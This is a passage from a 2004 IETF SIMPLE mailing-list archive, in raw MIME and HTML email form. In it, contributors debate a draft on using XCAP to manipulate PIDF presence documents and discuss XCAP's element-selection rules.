    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>1)=20
    XCAP operations are hard state by nature, no refreshing is needed, =
so this=20
    is inherently hard state manipulation. </FONT></SPAN></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT></=
DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>Agree, =
but how do=20
    you prevent users, from using XCAP from manipulating presence soft=20
    states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>I assume =
that all=20
    the presence tuples are part of the same presence document.=20
    </SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>Now you =
are=20
    advocating selective manipluation of some tuples and not others =
using=20
    XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>Have I =
misunderstood=20
    something here ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>How will =
you enforce=20
    that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV=
>
    <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004><SPAN=20
    class=3D182215601-03032004>[MI] OK, I think I know what you mean. =
The model=20
    for how the final presence document is put together is shown in the =
draft in=20
    Chapter 3. First,&nbsp;a presentity can publish several PIDF =
documents using=20
    SIP PUBLISH. Then, she can have a single "hard state" =
PIDF&nbsp;document=20
    manipulated with XCAP. All of these can contain any number of =
tuples. All=20
    this is fed into magic called "event state compositor", which =
produces a=20
    single consistent presence document. The fact that the compositor =
logic has=20
    been left as implementation specific is a feature (or a deficiency) =
in=20
    SIMPLE, and this draft makes it no worse. I agree that there will be =

    interoperability issues with how things with the composition =
definition are=20
    at the moment, but this draft does not cause the=20
    problem.</SPAN></SPAN></SPAN></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV=
>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN =
class=3D509473301-03032004>&nbsp;</SPAN>2) The=20
    default model I have in mind is that each presentity would have =
exactly one=20
    persistent device-independent presence document that would be =
manipulated by=20
    XCAP. That would be fed to the composition logic to complement the=20
    PUA/device-specific documents published using SIP PUBLISH =
mechanism.<SPAN=20
    class=3D509473301-03032004>&nbsp;</SPAN></SPAN><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2>XCAP is meant to be a generic =
XML-manipulation=20
    mechanism, so there should be nothing specific in this application =
usage.=20
    Once the base XCAP is finished, we'll see what the exact mechanisms =
to=20
    mandate supported namespaces are, and we'll adopt that convention in =
this=20
    draft too. This is probably still changing from xcap-02 draft, as =
was=20
    discussed in SIMPLE session.&nbsp;<SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>Not =
totally=20
    true</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>XCAP =
have a=20
    limited set of rules for HTTP URI=20
    creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN><SPAN=20
    class=3D902344900-03032004><FONT face=3DArial><FONT =
color=3D#0000ff><FONT=20
    size=3D2><SPAN class=3D509473301-03032004>So&nbsp;it is not meant =
for *any* XML=20
    document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>I =
think the XCAP=20
    framework is clear on that</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>You =
would need to=20
    expand those rules, which can complicate things quite a lot, not to =
mention=20
    slow things down, to make it more=20
    generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2>gf/<SPAN=20
    =
class=3D182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPA=
N></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D182215601-03032004>[MI] I think you are right on this one, =
my previous=20
    statement was wrong. XCAP can have problems with handling *any* XML=20
    document, if the selector construction will be restricted to only =
limited=20
    number of possibilities. However, see Jonathan's mail attached to =
this mail.=20
    Based on this I assume PIDF would still be OK for XCAP as it is=20
    now.</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2>3) I'm not sure if I&nbsp;understood =
the=20
    question. This is not a template for any applications that want to =
use XCAP,=20
    this is standardizing how XCAP is used to manipulate PIDF-formatted =
presence=20
    documents. As there is no computed data or anything, I guess an app =
usage=20
    for any XML doc would be quite similar to this one.<SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>For =
event packages=20
    we have a template that have to be filled&nbsp;by for anyone who =
wants to=20
    create a new event package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>So I =
am asking if=20
    your&nbsp;document presents a template, similar&nbsp;to the event =
package=20
    approach. (forget about the content for your=20
    application)</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>I am =
not sure if I=20
    am clear&nbsp;on that =
one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2>gf/<SPAN=20
    =
class=3D182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPA=
N></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D182215601-03032004>[MI] OK, I got the question, thanks. =
Yes,&nbsp;we=20
    tried to follow&nbsp;the structure/template how Jonathan has defined =

    the&nbsp;other existing&nbsp;XCAP application usages. So it =
should&nbsp;be=20
    according to how XCAP AUs are ssupposed to be=20
    specified.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2>4) Surely there are many ways to =
manipulate PIDF=20
    documents. However, in context of SIMPLE, XCAP is a natural choice =
since=20
    it's needed already in any advanced presence-capable device. Could =
you=20
    explain what kind of complexities you mean? This is as simple an =
XCAP usage=20
    as&nbsp;there can be. Are you saying that XCAP in itself is complex? =
A more=20
    simple way would be to use just normal HTTP PUT and DELETE, but =
since we=20
    have XCAP at our disposal, why not use it.<SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>The =
complexities=20
    will arise if we allow users to do selective manipulation, using=20
    XCAP,&nbsp;for certain tuples&nbsp;*only*, and using PUBLISH for the =

    remaining tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>So I =
need to see=20
    your answer first to my&nbsp;response to your first &nbsp;bullet =
before I go=20
    further</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SPAN=
=20
    class=3D902344900-03032004><FONT face=3DArial><FONT =
color=3D#0000ff><FONT=20
    size=3D2><SPAN=20
    =
class=3D509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN></=
DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2><SPAN class=3D182215601-03032004>[MI] As I explained above, =
you can=20
    already PUBLISH several documents and there has to be a way to do=20
    composition. So the complexity is already inbuilt in SIMPLE, it is =
not in=20
    this sense extended here.</SPAN></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>Markus</FONT></SPAN></DIV>
    <BLOCKQUOTE=20
    style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff =
2px solid">
      <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
      size=3D2>-----Original Message-----<BR><B>From:</B> ext George =
Foti (QA/EMC)=20
      [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
      02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
      simple@ietf.org<BR><B>Subject:</B> Comments on=20
      =
draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
      <P><FONT face=3D"Times New Roman">Hi Markus,</FONT> </P>
      <P><FONT face=3D"Times New Roman">I have some comments on your =
draft:</FONT>=20
      </P>
      <P><FONT face=3D"Times New Roman">1) Although you indicate that =
this should=20
      be used only for hard states, what is there to prevent users from=20
      manipulating other presence states in there through =
XCAP.</FONT></P>
      <P><FONT face=3D"Times New Roman">2) XCAP is meant to be used for =
documents=20
      that are created to take advantage of the defined XCAP rules for =
HTTP URI=20
      creation. Which XML presence documents in particular are you =
proposing=20
      that they get manipulated by XCAP.&nbsp; </FONT></P>
      <P><FONT face=3D"Times New Roman">How do you ensure that the =
current XCAP=20
      rules are suffiicient for the purpose you have in mind. I also =
doubt that=20
      you can use the current XML presence documents (PIDF and =
extensions) for=20
      XCAP purposes as is. For example, should there not be the element=20
      mandatory-ns, in there, as per the XCAP framework.</FONT></P>
      <P><FONT face=3D"Times New Roman">3) Is this template meant to be =
a generic=20
      template to be used by all applications that want to use =
XCAP.</FONT> </P>
      <P><FONT face=3D"Times New Roman">4) Finally, I believe that there =
are=20
      other, out-of-band means, to accomplish your goals, i.e. =
manipulate hard=20
      states, without the unwarranted complexities that the draft =
creates. Thus,=20
      there must be explicit references in the draft to that fact.&nbsp; =

      </FONT></P>
      <P><FONT face=3DArial size=3D2>/gf</FONT> <BR><FONT face=3DArial =
size=3D2>Ericsson=20
      Canada</FONT> </P><BR><BR>This communication is confidential and =
intended=20
      solely for the addressee(s). Any unauthorized review, use, =
disclosure or=20
      distribution is prohibited. If you believe this message has been =
sent to=20
      you in error, please notify the sender by replying to this =
transmission=20
      and delete the message without disclosing it. Thank =
you.<BR><BR>E-mail=20
      including attachments is susceptible to data corruption, =
interruption,=20
      unauthorized amendment, tampering and viruses, and we only send =
and=20
      receive e-mails on the basis that we are not liable for any such=20
      corruption, interception, amendment, tampering or viruses or any=20
      consequences thereof. </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This =
communication is=20
  confidential and intended solely for the addressee(s). Any =
unauthorized=20
  review, use, disclosure or distribution is prohibited. If you believe =
this=20
  message has been sent to you in error, please notify the sender by =
replying to=20
  this transmission and delete the message without disclosing it. Thank=20
  you.<BR><BR>E-mail including attachments is susceptible to data =
corruption,=20
  interruption, unauthorized amendment, tampering and viruses, and we =
only send=20
  and receive e-mails on the basis that we are not liable for any such=20
  corruption, interception, amendment, tampering or viruses or any =
consequences=20
  thereof. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_002_01C400C6.722849DA--

------_=_NextPart_001_01C400C6.722849DA
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit

x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Received:  from esebe009.NOE.Nokia.com ([172.21.138.41]) by esebe018.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747); Wed, 25 Feb 2004 18:19:42 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_003_01C3FBBB.2C77A300"
Received:  from esebh002.NOE.Nokia.com ([172.21.138.77]) by esebe009.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747); Wed, 25 Feb 2004 18:19:41 +0200
Received:  from esdks003.ntc.nokia.com ([172.21.138.158]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747); Wed, 25 Feb 2004 18:19:40 +0200
Content-Class: urn:content-classes:message
Subject: Re: [Simple] Update to xcap package
Date: Wed, 25 Feb 2004 18:14:25 +0200
Message-ID: <403CC9E1.1010505@dynamicsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [Simple] Update to xcap package
Thread-Index: AcP7uzifgnAOmWI/TX2m8KKI5/UGxQ==
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,<mailto:simple-request@ietf.org?subject=subscribe>
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,<mailto:simple-request@ietf.org?subject=unsubscribe>
From: <jdrosen@dynamicsoft.com>
Sender: <simple-admin@ietf.org>
To: <joel@stevecrocker.com>
Cc: <simple@ietf.org>

This is a multi-part message in MIME format.

------_=_NextPart_003_01C3FBBB.2C77A300
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Joel,

You are mostly right. However, we already have a spec in place which=20
proposes XCAP modification of a document not originally designed for =
xcap:

http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipu=
lation-usage-00.txt

this one modifies PIDF.

In this case, I still think we're OK; tuples already have unique ID=20
elements, and within a tuple you usually won't see repeats of the same=20
element, I dont think.

That said, I don't think adding a bit more expressive selection=20
capabilities HURTS per se.

-Jonathan R.

Joel M. Halpern wrote:

> Thinking both about the "SIMPLE" case, and about other things that =
might=20
> use XCAP, I think this is a mistake.  XCAP is not about modifying=20
> arbitrary documents.  It is about modifying documents that have been=20
> designed to be used in conjunction with XCAP.  As such, it seems to me =

> perfectly reasonable to say that all repeated elements of all such=20
> documents must have uniquely identifying attributes.  In fact, such=20
> attributes are a good idea anyway.  (Otherwise, one amplifies the=20
> confusion associated with replacing keying material, for example.)
>=20
> Yours,
> Joel M. Halpern
>=20
> At 11:53 PM 2/24/2004 -0500, Jonathan Rosenberg wrote:
>=20
>> So, the question is - what kind of information do we want to allow=20
>> xcap to use to uniquely identify an element for deletion, insertion =
or=20
>> creation? Right now, the spec focuses on element names and =
attributes.=20
>> One would need to design one's schema to make sure that these existed =

>> as unique identifiers. It is easy to add any of the following:
>>
>> 1. text content
>> 2. names of child elements
>> 3. boolean operators (i.e., a child exists)
>> 4. existence of attributes
>>
>> Its just a complexity/flexibility trade off. I would be willing to=20
>> expand the scope of xcap a bit here; I suspect names of child =
elements=20
>> and text content might also be useful. If we start adding more and=20
>> more, we may as well go back to full xpath support and just reference =

>> the spec.
>=20
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

--=20
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

------_=_NextPart_003_01C3FBBB.2C77A300
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
6.0.6487.1">
<TITLE>Re: [Simple] Update to xcap package</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/plain format -->
<BR>

<P><FONT SIZE=3D2>Joel,</FONT>
</P>

<P><FONT SIZE=3D2>You are mostly right. However, we already have a spec =
in place which </FONT>

<BR><FONT SIZE=3D2>proposes XCAP modification of a document not =
originally designed for xcap:</FONT>
</P>

<P><FONT SIZE=3D2><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pid=
f-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-is=
omaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT>
</P>

<P><FONT SIZE=3D2>this one modifies PIDF.</FONT>
</P>

<P><FONT SIZE=3D2>In this case, I still think we're OK; tuples already =
have unique ID </FONT>

<BR><FONT SIZE=3D2>elements, and within a tuple you usually won't see =
repeats of the same </FONT>

<BR><FONT SIZE=3D2>element, I dont think.</FONT>
</P>

<P><FONT SIZE=3D2>That said, I don't think adding a bit more expressive =
selection </FONT>

<BR><FONT SIZE=3D2>capabilities HURTS per se.</FONT>
</P>

<P><FONT SIZE=3D2>-Jonathan R.</FONT>
</P>

<P><FONT SIZE=3D2>Joel M. Halpern wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; Thinking both about the &quot;SIMPLE&quot; case, =
and about other things that might </FONT>

<BR><FONT SIZE=3D2>&gt; use XCAP, I think this is a mistake.&nbsp; XCAP =
is not about modifying </FONT>

<BR><FONT SIZE=3D2>&gt; arbitrary documents.&nbsp; It is about modifying =
documents that have been </FONT>

<BR><FONT SIZE=3D2>&gt; designed to be used in conjunction with =
XCAP.&nbsp; As such, it seems to me </FONT>

<BR><FONT SIZE=3D2>&gt; perfectly reasonable to say that all repeated =
elements of all such </FONT>

<BR><FONT SIZE=3D2>&gt; documents must have uniquely identifying =
attributes.&nbsp; In fact, such </FONT>

<BR><FONT SIZE=3D2>&gt; attributes are a good idea anyway.&nbsp; =
(Otherwise, one amplifies the </FONT>

<BR><FONT SIZE=3D2>&gt; confusion associated with replacing keying =
material, for example.)</FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; Yours,</FONT>

<BR><FONT SIZE=3D2>&gt; Joel M. Halpern</FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; At 11:53 PM 2/24/2004 -0500, Jonathan Rosenberg =
wrote:</FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; So, the question is - what kind of =
information do we want to allow </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; xcap to use to uniquely identify an element =
for deletion, insertion or </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; creation? Right now, the spec focuses on =
element names and attributes. </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; One would need to design one's schema to =
make sure that these existed </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; as unique identifiers. It is easy to add any =
of the following:</FONT>

<BR><FONT SIZE=3D2>&gt;&gt;</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; 1. text content</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; 2. names of child elements</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; 3. boolean operators (i.e., a child =
exists)</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; 4. existence of attributes</FONT>

<BR><FONT SIZE=3D2>&gt;&gt;</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; Its just a complexity/flexibility trade off. =
I would be willing to </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; expand the scope of xcap a bit here; I =
suspect names of child elements </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; and text content might also be useful. If we =
start adding more and </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; more, we may as well go back to full xpath =
support and just reference </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; the spec.</FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; =
_______________________________________________</FONT>

<BR><FONT SIZE=3D2>&gt; Simple mailing list</FONT>

<BR><FONT SIZE=3D2>&gt; Simple@ietf.org</FONT>

<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple">https://www1.ietf.=
org/mailman/listinfo/simple</A></FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>

<BR><FONT SIZE=3D2>Jonathan D. Rosenberg, =
Ph.D.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; 600 Lanidex Plaza</FONT>

<BR><FONT SIZE=3D2>Chief Technology =
Officer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parsippany, NJ =
07054-2711</FONT>

<BR><FONT SIZE=3D2>dynamicsoft</FONT>

<BR><FONT =
SIZE=3D2>jdrosen@dynamicsoft.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; FAX:&nbsp;&nbsp; (973) 952-5050</FONT>

<BR><FONT SIZE=3D2><A =
HREF=3D"http://www.jdrosen.net">http://www.jdrosen.net</A>&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PHONE: (973) 952-5000</FONT>

<BR><FONT SIZE=3D2><A =
HREF=3D"http://www.dynamicsoft.com">http://www.dynamicsoft.com</A></FONT>=

</P>

<P><FONT SIZE=3D2>_______________________________________________</FONT>

<BR><FONT SIZE=3D2>Simple mailing list</FONT>

<BR><FONT SIZE=3D2>Simple@ietf.org</FONT>

<BR><FONT SIZE=3D2><A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple">https://www1.ietf.=
org/mailman/listinfo/simple</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_003_01C3FBBB.2C77A300--

------_=_NextPart_001_01C400C6.722849DA--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 21:33:55 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22272
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 21:33:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMCp-0001Oa-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:33:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMBq-0001EN-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:32:55 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMAy-00014V-00; Tue, 02 Mar 2004 21:32:00 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMAy-0002Rp-MJ; Tue, 02 Mar 2004 21:32:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMAT-0002O0-CV
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:31:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22109
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:31:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMAQ-0000wu-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:31:26 -0500
